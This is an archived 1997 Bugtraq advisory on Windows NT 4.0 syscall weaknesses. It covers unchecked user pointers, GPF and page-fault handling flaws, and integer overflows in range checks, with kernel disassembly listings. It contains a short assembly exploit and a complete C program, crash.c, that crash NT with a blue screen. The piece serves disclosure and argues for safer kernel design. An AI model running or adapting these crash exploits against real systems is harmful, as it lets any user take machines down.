TUCoPS :: Windows :: ntsysc.txt

NT syscalls insecurity


Date: Sun, 19 Oct 1997 04:02:34 -0300
From: Solar Designer <solar@FALSE.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: WinNT syscalls insecurity

Hello!

In this message, I'm going to describe several problems with the way WinNT
syscalls are implemented. I will only be talking about DoS attacks now (of
course, there're similar problems that allow gaining extra access, too). I
admit the problems are not too serious since most people think NT is not too
stable anyway. However, Microsoft put a lot of code into the NT kernel to
protect against such attacks. Also, NT can't be considered a replacement for
UNIX when any user allowed to run programs (possibly remotely) can halt the
entire system.

Some of the problems described here apply to other systems also. I suggest
that kernel developers read this message even if they aren't using NT.

1. Introduction.

Here's some [already known] information to make sure everyone understands
the stuff I'll be talking about. More information can be found at sites
like www.ntinternals.com.

The NT kernel is located in NTOSKRNL.EXE, while KERNEL32.DLL is just like
libc in UNIX (it runs at user level). There's also NTDLL.DLL (running at
user level, too) which got simple functions that do the actual syscalls
and are called by KERNEL32.DLL larger functions. Syscalls are done via INT
2Eh, the syscall number is passed in EAX, while EDX points to stack frame
with parameters.

2. The stack frame.

All the syscall parameters are passed via the stack frame. Since the user
program could put any address (possibly invalid) in EDX, the kernel should
check if the parameters are readable before trying to use them. This is
done by copying the stack frame into a buffer allocated on kernel stack,
and handling the faults at this instru
ffb
ction a different way. Here's the
syscall entry code (all addresses in this message are for NTOSKRNL from
NT 4.0 build 1381):

8013B4DF                 mov     esi, edx        ; params in user space
8013B4E1                 mov     ebx, [edi+0Ch]
8013B4E4                 xor     ecx, ecx
8013B4E6                 mov     cl, [eax+ebx]   ; params size
8013B4E9                 mov     edi, [edi]
8013B4EB                 mov     ebx, [edi+eax*4] ; handler
8013B4EE                 sub     esp, ecx        ; space for the copy
8013B4F0                 shr     ecx, 2          ; params count
8013B4F3                 mov     edi, esp        ; copy buffer
8013B4F5 copyin_move:                            ; DATA XREF: _text:8013E59Ao
8013B4F5                 rep movsd
8013B4F7                 call    ebx
8013B4F9 copyin_fault:                           ; DATA XREF: _text:8013E5B0o

And the relevant part of page fault handler:

8013E59A copyin_check:                           ; CODE XREF: _text:8013E54Fj
8013E59A                 mov     ecx, offset copyin_move
8013E59F                 cmp     [ebp+68h], ecx
8013E5A2                 jnz     short loc_8013E5C4
...
8013E5B0                 mov     dword ptr [ebp+68h], offset copyin_fault
8013E5B7                 mov     eax, 0C0000005h ; NT status: access denied

If a page fault occurs at 'rep movsd', the fault handler will set NT status
and skip calling the syscall handler. This approach (which is widely used in
UNIX, too) would work just fine if properly implemented. Unfortunately, it's
not.

One of the problems is that it is possible to get a general protection fault
instead of a page fault by accessing a 4 byte word at addresses 0FFFFFFFDh
to 0FFFFFFFFh. The exploit can be (in a native Win32 application):

xor eax,eax     ; any valid syscall number that has at least one parameter
mov edx,-1      ; an invalid address to cause a GPF
int 2Eh         ; Blue Screen, wait for the admin to push the reset button

The other problem is that some page faults are completely legal since they
are used to implement virtual memory. That's why the page fault handler
checks for these first. Unfortunately, if it detects a page fault outside
of the paged area, it calls KeBugCheck (the Blue Screen stuff) immediately,
before copyin_check has a chance to execute. This can be exploited with
addresses like 0F0000000h.

3. Other pointers.

Unlike UNIX syscalls, most NT ones have to accept at least one pointer from
the user space (not counting the stack frame pointer described above). The
reason is that the only way for syscalls to return a value (other than NT
status) is writing it to a supplied buffer. For example, NtOpenFile accepts
a pointer to where it can store the file handle.

There're lots more syscalls in NT, compared to UNIX. For example, when I was
looking for a way to execute a program with syscalls only (to improve my
shellcode), I started with figuring out the NtCreateProcess parameters (and
occasionally found a hole in it [Blue Screen on some invalid file handles
due to accessing fields in a structure referenced by a NULL pointer]). Then
it turned out I have to open the file manually first, do NtCreateSection,
and the DLL initialization. After that (and some other tricks) there's one
more syscall to start the thread. The relevant KERNEL32 (think: libc) code
is several kilobytes large, which is definitely not suitable for shellcode,
so I had to give up.

In NT, user space pointers are valid in the kernel. This makes it easy to
forget to do the necessary checking in some syscall. Combined with the large
number of such pointers, this means there are some such holes (some of them
may be writes, which means a possibility for gaining extra privilege).

For some unknown reason, the syscalls don't use the copy-and-catch-faults
approach described above for pointers other than the stack frame one. They
check the address manually instead, and access the memory without copying.
This leaves another possibility for bugs: it is easy to check less bytes
than are accessed in reality. Read more about it bel
ffb
ow.

4. Integer overflows.

Let's look at a typical address range check (there're lots of them in NT
kernel), and the way the memory is accessed afterwards:

80132F4D addr_check:                             ; CODE XREF: _text:80132F44j
80132F4D                 lea     ecx, [eax+esi*4] ; end = start + count * 4
80132F50                 cmp     ecx, eax
80132F52                 jb      short addr_overflow ; end < start
80132F54                 cmp     ecx, 7FFF0000h
80132F5A                 jbe     short addr_okay
80132F5C addr_overflow:                          ; CODE XREF: _text:80132F52j
80132F5C                 call    ExRaiseAccessViolation
80132F61 addr_okay:                              ; CODE XREF: _text:80132F5Aj
80132F61                 xor     edi, edi        ; zero
80132F63                 mov     [ebp-28h], edi
80132F66                 mov     eax, [ebp+0Ch]  ; the same thing
80132F69                 lea     edx, [eax+edi*4] ; src
80132F6C                 lea     ecx, [ebp+edi*4-34Ch] ; dst
80132F73                 mov     eax, esi        ; count
80132F75                 sub     eax, edi
80132F77 addr_loop:                              ; CODE XREF: _text:80132F85j
80132F77                 mov     edi, [edx]      ; *dst++ = *src++ >> 2
80132F79                 shr     edi, 2
80132F7C                 mov     [ecx], edi
80132F7E                 add     edx, 4
80132F81                 add     ecx, 4
80132F84                 dec     eax             ; while (--count)
80132F85                 jnz     short addr_loop

Fortunately, there're checks for possible overflows at the addition (start +
size). However, there's no check for the multiplication (count * 4). In this
particular case we're lucky since the count was tested to be <= 64 above the
piece of code I quoted, otherwise we would have a buffer overflow also.

[ In reality, we do have the buffer overflow (only useful as a DoS attack)
since some other code which I didn't quote here jumps to addr_okay if count
is zero, which effectively means looping 2^32 times. This is not the topic
of this message though. ]

However, in some other checks, there may be no check for count before the
address range check. In this example the count <= 64 check (BTW, unsigned)
was far above this range check, so I assume it is outside of the range check
macro in the sources. I'm just too lazy to search for another example with
both a loop while (--count) and multiplication in the check. ;-)

Similar potential problems are with ProbeForWrite function which is used by
many syscalls. This function accepts the size in bytes, and there're calls
like this:

8019BEC9                 mov     eax, [esi]      ; size = buf->header.count
8019BECB                 imul    eax, 0Ch        ; size *= sizeof(entry)
8019BECE                 add     eax, 8          ; size += sizeof(buf->header)
8019BED1                 push    4
8019BED3                 push    eax             ; size
8019BED4                 push    esi             ; buf
8019BED5                 call    ProbeForWrite

If buf->header.count is, for example, 0x80000000, this call will verify 8
bytes. Depending on how lucky we are (possible other checks and the way the
memory is accessed afterwards), we may or may not have a security hole.

5. Other holes.

Normally NT syscalls are only called by KERNEL32 functions. They're rarely
called with invalid parameters even by buggy programs being developed on an
NT box.

For example, a buggy program could call WinExec (located in KERNEL32) with
an invalid file name. However, no program would call NtCreateProcess with an
invalid file handle, since NtCreateProcess is only called by KERNEL32 a few
syscalls after NtOpenFile, both done from the same KERNEL32 function.

This makes me think many syscalls won't process invalid parameters correctly
(that is, just set NT status and exit). Some will likely crash the system. I
suspect a program doing random syscalls with random parameters would crash
the system quite fast, should try some day. ;^)

Here goes the NtCreateProcess expl
ce1
oit, compile with Cygwin32, the GCC port:

--- crash.c starts here ---

struct exec_params1 {
        char *unknown1, *unicode, *unknown2;
};

struct exec_params1 params1 = {
        NULL,
        NULL,
        NULL
};

struct exec_params2 {
        struct exec_params1 *params1;
        int mask;
        int unknown1, unknown2, unknown3;
        int handle;
        int unknown4, unknown5;
};

struct exec_params2 params2 = {
        &params1,
        0x1f0fff,
        0,
        -1,
        1,
        0x100,
        0,
        0
};

main() {
        for (params2.handle = 0x80; params2.handle < 0x90; params2.handle++)
        asm(
                "movl $0x1f,%%eax\n"
                "leal %0,%%edx\n"
                "int $0x2e"
                :
                : "m" (params2)
                : "ax", "cx", "bx", "dx", "si", "di", "cc"
        );
}

--- crash.c ends here ---

6. Conclusion.

A good syscall implementation should make it hard to make bugs. NT's doesn't.

For example, segment base addresses for user and kernel segments could be
made different to make sure no kernel developer forgets to put extra code
for every pointer imported from user space. The extra addition instruction
doesn't cost much for the performance.

Another thing that could be done is two functions, copyin() and copyout(),
to both copy data in/out of the kernel and do the checking (catching the
faults). This would make it impossible to check less bytes than are accessed,
even if an integer overflow occurs.

The number of pointers in syscall parameters could be reduced, for example,
by adding a return value in a register. NTDLL.DLL, running at user level,
could put it where needed, so the NTDLL's function would still return NT
status as it does now.

Until Microsoft does at least some of these things, it is safe to assume
that any user can crash an NT box. Fixing particular holes only won't do
much since there're just too many opportunities for bugs.

Signed,
Solar Designer


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH